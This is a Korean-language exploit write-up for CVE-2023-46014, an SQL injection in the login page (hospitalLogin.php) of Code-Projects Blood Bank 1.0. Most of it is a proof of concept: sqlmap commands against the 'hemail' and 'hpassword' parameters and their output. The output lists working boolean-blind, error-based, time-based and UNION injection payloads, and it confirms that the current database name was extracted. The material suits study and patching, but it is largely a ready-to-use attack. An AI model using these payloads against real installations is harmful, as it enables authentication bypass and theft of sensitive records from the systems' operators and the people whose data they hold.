CVE-2023-46014-Code-Projects-Blood-Bank-1.0-SQL-인젝션-취약점

익스플로잇 작성자: ersinerenler

공급업체 홈페이지

https://code-projects.org/blood-bank-in-php-with-source-code

소프트웨어 링크

https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip

개요

Code-Projects Blood Bank V1.0은 hospitalLogin.php 파일의 'hemail' 및 'hpassword' 매개변수에 대한 보호가 불충분하여 발생하는 심각한 보안 취약점에 취약합니다. 이 결함을 악용하여 악의적인 SQL 쿼리를 주입할 수 있으며, 이는 데이터베이스에서 민감한 정보에 대한 무단 액세스 및 추출로 이어질 수 있습니다.

취약점 세부 정보

CVE ID: CVE-2023-46014
영향을 받는 버전: Blood Bank V1.0
취약한 파일: /hospitalLogin.php
매개변수 이름: hemail, hpassword
공격 유형: Local

참고자료:

설명

적절한 입력 검증 및 삭제(sanitization)가 부족하여 'hemail' 및 'hpassword' 매개변수에 SQL 인젝션 쿼리를 주입할 수 있으며, 이를 통해 인증 메커니즘을 우회하고 데이터베이스에 무단 액세스할 수 있습니다.

개념 증명(PoC) :

sqlmap -u "http://localhost/bloodbank/file/hospitalLogin.php" --method POST --data "hemail=test@test&hpassword=test&hlogin=Login" -p hemail --risk 3 --level 3 --dbms mysql --batch --current-db

---
Parameter: hemail (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: hemail=test@test' AND 3778=(SELECT (CASE WHEN (3778=3778) THEN 3778 ELSE (SELECT 9754 UNION SELECT 4153) END))-- -&hpassword=test&hlogin=Login

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: hemail=test@test' OR (SELECT 3342 FROM(SELECT COUNT(*),CONCAT(0x716a7a6b71,(SELECT (ELT(3342=3342,1))),0x7170767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NSQu&hpassword=test&hlogin=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: hemail=test@test' AND (SELECT 5639 FROM (SELECT(SLEEP(5)))ulgW)-- QYnb&hpassword=test&hlogin=Login

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: hemail=test@test' UNION ALL SELECT CONCAT(0x716a7a6b71,0x567a4f6f4b556976707668696878754f48514d6e63424a706f70714e6f62684f504a7a565178736a,0x7170767a71),NULL,NULL,NULL,NULL,NULL-- -&hpassword=test&hlogin=Login
---

sqlmap -u "http://localhost/bloodbank/file/hospitalLogin.php" --method POST --data "hemail=test@test&hpassword=test&hlogin=Login" -p hpassword --risk 3 --level 3 --dbms mysql --batch --current-db

---
Parameter: hpassword (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: hemail=test@test&hpassword=test' AND 4940=(SELECT (CASE WHEN (4940=4940) THEN 4940 ELSE (SELECT 5623 UNION SELECT 6789) END))-- -&hlogin=Login

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: hemail=test@test&hpassword=test' OR (SELECT 8207 FROM(SELECT COUNT(*),CONCAT(0x716a7a6b71,(SELECT (ELT(8207=8207,1))),0x7170767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- TrPm&hlogin=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: hemail=test@test&hpassword=test' AND (SELECT 3303 FROM (SELECT(SLEEP(5)))PdPC)-- lTZZ&hlogin=Login

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: hemail=test@test&hpassword=test' UNION ALL SELECT NULL,CONCAT(0x716a7a6b71,0x5271514f636f6f46476f6365424b6e6166454c725751704d6f6c467968626a4e725172785955416d,0x7170767a71),NULL,NULL,NULL,NULL-- -&hlogin=Login
---

현재 데이터베이스: bloodbank

CVE-2023-46014-Code-Projects-Blood-Bank-1.0-SQL-Injection-Vulnerability

인기